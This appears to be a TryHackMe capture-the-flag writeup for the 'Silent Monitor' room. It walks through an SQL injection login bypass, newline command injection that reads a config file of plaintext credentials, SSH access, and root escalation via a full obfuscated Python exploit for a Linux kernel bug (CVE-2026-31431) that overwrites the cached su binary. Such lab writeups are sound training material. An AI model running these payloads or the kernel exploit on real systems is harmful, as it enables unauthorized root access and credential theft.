955 words
5 minutes
Silent Monitor TryHackMe Writeup

Welcome back. Today we have a new TryHackMe challenge called Silent Monitor.

Challenge Info#

## Green Lights, Dark Corners
CorpNet's internal network operations centre has been running quietly for years. Monitoring hosts, logging events, and keeping the infrastructure alive. Or so it seems. A tip from a disgruntled contractor suggests that someone on the NOC team has been cutting corners, leaving doors open, and hiding things in places no one thinks to look.
The portal is up. The services show green. The audit log looks clean.
But clean logs can be written by anyone.
Your job is to get in, move through the system, and find out what is really running behind the secret dashboard.

From the description, we are dealing with an internal Network Operations Centre portal. This usually means there may be a dashboard, monitoring features, and backend functions that interact with the system.

Enumeration#

The first step is to scan the target for open ports and services:

Terminal window
nmap -sV 10.128.158.80

Result:

Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-05 01:58 +0100
Nmap scan report for 10.128.158.80
Host is up (0.087s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
5050/tcp open http Werkzeug httpd 2.0.2 (Python 3.10.12)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.43 seconds

We have two interesting open ports:

  • 22/tcp: SSH
  • 5050/tcp: HTTP web server, likely a Python/Werkzeug application

Since SSH usually needs credentials, I started with the web service on port 5050.

Web Application#

I opened the website:

http://10.128.158.80:5050

Silent Monitor homepage

The website is a portal for a Network Operations Centre. There is no obvious login page on the homepage, but some small details may be useful later.

NOC portal version and hints

I noticed the NOC portal version and some hints. Since there was no clear path from the homepage, I moved to directory brute forcing.

Directory Discovery#

I used dirsearch to look for hidden paths:

Terminal window
dirsearch -u http://10.128.158.80:5050 -x 403,404

Important result:

Target: http://10.128.158.80:5050/
[02:04:41] Starting:
[02:06:33] 200 - 9KB - /internal
Task Completed

We found a hidden path:

/internal

I opened it in the browser:

Internal login page

Login Bypass With SQL Injection#

I tried some default credentials, but they did not work. Since this was a login form, I tested for a SQL injection login bypass.

Payload:

username = admin' OR '1'='1'-- -
password = Anything

SQL injection login bypass

The bypass worked, and I was able to access the internal dashboard.

Technically, this means the application is likely building a SQL query directly with user input, something like this:

SELECT * FROM users WHERE username = '<username>' AND password = '<password>';

When we submit:

admin' OR '1'='1'-- -

the condition OR '1'='1' is always true, and -- - comments out the rest of the query.

Host Health Page#

After logging in, I went to the Host Health page.

Host Health page

This page lets us enter a target, then the application runs ping and shows the result. This kind of feature can be dangerous if the application passes user input directly to a shell command.

I tried entering an unusual value to see if we could trigger an error:

Bash error from host health input

The error showed that the command is being executed through a shell. This is a strong sign of command injection.

Command Injection#

I tried several command separators, such as pipes, but they did not work for me. Then I used Burp Suite and tested newline injection with %0A.

The request used a parameter called target:

POST /internal/health HTTP/1.1
Host: 10.128.158.80:5050
Content-Type: application/x-www-form-urlencoded
target=127.0.0.1%0Als

%0A is a URL-encoded newline. So the backend likely handled it like this:

Terminal window
ping -c 2 -W 1 127.0.0.1
ls

This allowed us to run a second command after ping.

Command injection with newline payload in Burp Suite

The response showed some interesting files:

app.py
netops.db
secret.config
templates

The file secret.config clearly looks important, so I tried to read it.

Reading secret.config#

I used the same command injection to read the file:

target=127.0.0.1%0Acat+secret.config

Reading secret.config through command injection

The file contains the application configuration. It also includes credentials for a backup agent:

# netops application config
# generated: 2026-01-03
[database]
path = /opt/netops/netops.db
timeout = 5
[app]
host = 0.0.0.0
port = 5050
log_path = /var/log/netops/app.log
[auth]
session_lifetime = 1800
# service account used by the backup agent
# TODO: migrate to secrets manager before Q2 audit
[backup_agent]
run_as = sysadmin
password = S3cur3Backup$Acc3ss!
[smtp]
host = 127.0.0.1
port = 25
from = noc-alerts@corp.internal

The important credentials are:

username: sysadmin
password: S3cur3Backup$Acc3ss!

Since SSH is open, I tested these credentials there.

SSH Access#

I logged in with SSH:

Terminal window
ssh sysadmin@10.128.158.80

SSH login as sysadmin

After logging in, I read user.txt:

Terminal window
cat user.txt

Reading user.txt

Now we have the user flag.

Privilege Escalation#

The last step is privilege escalation to root.

While looking around the machine, I found a .kdbx file inside the backup directory. This is usually a KeePass database file, so it could have been another path to investigate.

However, after checking the system and kernel version, I found that the machine was vulnerable to a recent Linux kernel privilege escalation called Copy Fail, also known as:

CVE-2026-31431

In simple terms, Copy Fail is a local privilege escalation vulnerability in the Linux kernel. It abuses the interaction between AF_ALG sockets, algif_aead/authencesn, and splice() to perform a small controlled write into the page cache.

Public exploits usually target a setuid binary such as /usr/bin/su. After the exploit modifies the cached behavior, running su can give a root shell.

Important note: this is not a remote exploit. We already need local access to the machine as a normal user. In this challenge, we got that access with the sysadmin SSH credentials.

Copy Fail Exploit#

I created a Python file on the target machine, copied the exploit code into it, and ran it:

#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
try:u.recv(8+t)
except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")

I ran it:

Terminal window
python3 exploit.py

This gave me a root shell.

Root shell after Copy Fail privilege escalation